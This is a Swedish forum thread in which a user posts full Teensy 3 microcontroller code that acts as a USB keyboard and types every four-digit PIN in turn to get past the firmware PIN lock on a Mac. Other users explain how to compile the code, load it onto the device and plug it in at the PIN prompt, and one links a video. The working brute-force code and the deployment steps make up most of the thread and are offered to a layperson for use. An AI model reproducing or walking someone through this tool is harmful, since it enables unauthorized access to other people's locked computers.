2013-08-28, 02:06
  #1
Medlem
StraightToHails avatar
Denna man har med hjlp av andra klurat ut hur man tar sig frbi pinkoden p en lst mac.

Guide: http://orvtech.com/en/howto/atacar-e...ok-pro/#UPDATE

Forum: http://forums.macrumors.com/showthread.php?t=1438822 [det intressanta bjar frn inlgg #211]

Fr en som aldrig anvnd en mac eller knappt vet vad kodning r s r det lite svrt att hnga med.

Skulle ngon som r insatt kunna frklara p svenska och i talsprk s att vanliga mnniskor frstr?

Jag frstr tex. inte VART man ska skriva denna kod frutom att den ska vara p "Teensy 3"-devicen.

Kod:
#include <usb_keyboard.h>
// This code is licensed under Apache 2.0 License
// http://www.apache.org/licenses/LICENSE-2.0.txt
// Limitation of Liability. In no event and under no legal theory,
// whether in tort (including negligence), contract, or otherwise,
// unless required by applicable law (such as deliberate and grossly
// negligent acts) or agreed to in writing, shall any Contributor be
// liable to You for damages, including any direct, indirect, special,
// incidental, or consequential damages of any character arising as a
// result of this License or out of the use or inability to use the
// Work (including but not limited to damages for loss of goodwill,
// work stoppage, computer failure or malfunction, or any and all
// other commercial damages or losses), even if such Contributor
// has been advised of the possibility of such damages.
// This code is indented for people who are not able to contact
// apple support and I am in no way liable for any damage or
// problems this code might cause.
const int ledPin = 13; // choose the pin for the LED
int counter = 0;
int fakecounter = counter;
char pin[]="xxxx";
void setup() {
pinMode(ledPin, OUTPUT); // declare LED as output
delay(10000);
}
void loop(){
keyboard_modifier_keys = 0;
if (counter <= 9999){
delay(8000);
digitalWrite(ledPin, LOW);
delay(5500);
digitalWrite(ledPin, HIGH);
sprintf(pin, "%04d", fakecounter);
//sending first digit
Keyboard.press(pin[0]);
delay(450);
Keyboard.release(pin[0]);
delay(420);
//sending second digit
Keyboard.press(pin[1]);
delay(398);
Keyboard.release(pin[1]);
delay(510);
//sending third digit
Keyboard.press(pin[2]);
delay(421);
Keyboard.release(pin[2]);
delay(423);
//sending forth digit
Keyboard.press(pin[3]);
delay(430);
Keyboard.release(pin[3]);
delay(525);
//sending enter
Keyboard.press(KEY_ENTER);
delay(305);
Keyboard.release(KEY_ENTER);
}
//reached 4 digit PIN max value
if (counter > 9999){
for (int blinkies = 0; blinkies < 8; blinkies++) {
digitalWrite(ledPin, HIGH);
delay(20);
digitalWrite(ledPin, LOW);
delay(200);
}
delay(6000);
}
++counter;
fakecounter = counter;
}

Skriver man den bara i en .txt eller hur fungerar det p mac?
Citera
2013-08-28, 04:46
  #2
Medlem
EckiEckis avatar
Citat:
Ursprungligen postat av StraightToHail
Jag frstr tex. inte VART man ska skriva denna kod frutom att den ska vara p "Teensy 3"-devicen.

Skriver man den bara i en .txt eller hur fungerar det p mac?

EHm.. Nej.

Man programmerar en enkortsdator med denna kod. Man gr det allts ingenstans p sjlva Mac'en.

1. Kp en http://www.pjrc.com/store/teensy3.html
2. Skaffa WinAVR och klistra in koden dr (vad motsvarande program fr Mac heter har jag ingen aning om)
3. Kompilera koden
4, Anvnd http://www.pjrc.com/teensy/loader.html fr att ladda ver den kompilerade koden till Tennsy-modulen
5. Success.
Citera
2013-08-28, 07:08
  #3
Medlem
StraightToHails avatar
Citat:
Ursprungligen postat av EckiEcki
EHm.. Nej.

Man programmerar en enkortsdator med denna kod. Man gr det allts ingenstans p sjlva Mac'en.

1. Kp en http://www.pjrc.com/store/teensy3.html
2. Skaffa WinAVR och klistra in koden dr (vad motsvarande program fr Mac heter har jag ingen aning om)
3. Kompilera koden
4, Anvnd http://www.pjrc.com/teensy/loader.html fr att ladda ver den kompilerade koden till Tennsy-modulen
5. Success.

.....

Jag menade nr man sedan ska anvnda Teensy 3 P Macen

Ah! Dr har vi det. Man behver allts tv till mjukvaror! 13 sidor forum och ingenstans str det ngot om detta.

Tackar fr input!
Citera
2013-08-28, 07:14
  #4
Medlem
EckiEckis avatar
Citat:
Ursprungligen postat av StraightToHail
Jag menade nr man sedan ska anvnda Teensy 3 P Macen

h, va?

Man ansluter den till en usb-port nr pin-dialogen visas, den r ju en HID.
Citera
2013-08-28, 12:07
  #5
Medlem
StraightToHails avatar
Citat:
Ursprungligen postat av EckiEcki
h, va?

Man ansluter den till en usb-port nr pin-dialogen visas, den r ju en HID.

Ja. Koppla till en usb-port p macen = anvnda den p macen?

HID?

Jag r och frgar saker p ett forum av en anledning: JAG VILL LRA MIG DET JAG INTE KAN.

Och d knner jag att inga frgor r fr dumma fr att stlla. Eller?
Citera
2013-08-28, 12:47
  #6
Medlem
Du behver inte bara mjukvara, du behver hrdvara ocks.

http://www.youtube.com/watch?v=xXMiX-Bybsw

Samma sida som du lste frn, bara att du fr se hur det gr till i praktiken.

*edit*

Du frstod s lngt allts, koden mste du kompilera till binr kod, sedan anvnder du en loader fr att f den till kretskortet.

I filmen ser du nr du ska anvnda modulen.
__________________
Senast redigerad av kodknack 2013-08-28 kl. 12:57.
Citera
2013-09-03, 20:14
  #7
Moderator
Protons avatar
IT-skerhet: allmnt --> Programvara - Mac OS
/Moderator
Citera

Skapa ett konto eller logga in för att kommentera

Du måste vara medlem för att kunna kommentera

Skapa ett konto

Det är enkelt att registrera ett nytt konto

Bli medlem

Logga in

Har du redan ett konto? Logga in här

Logga in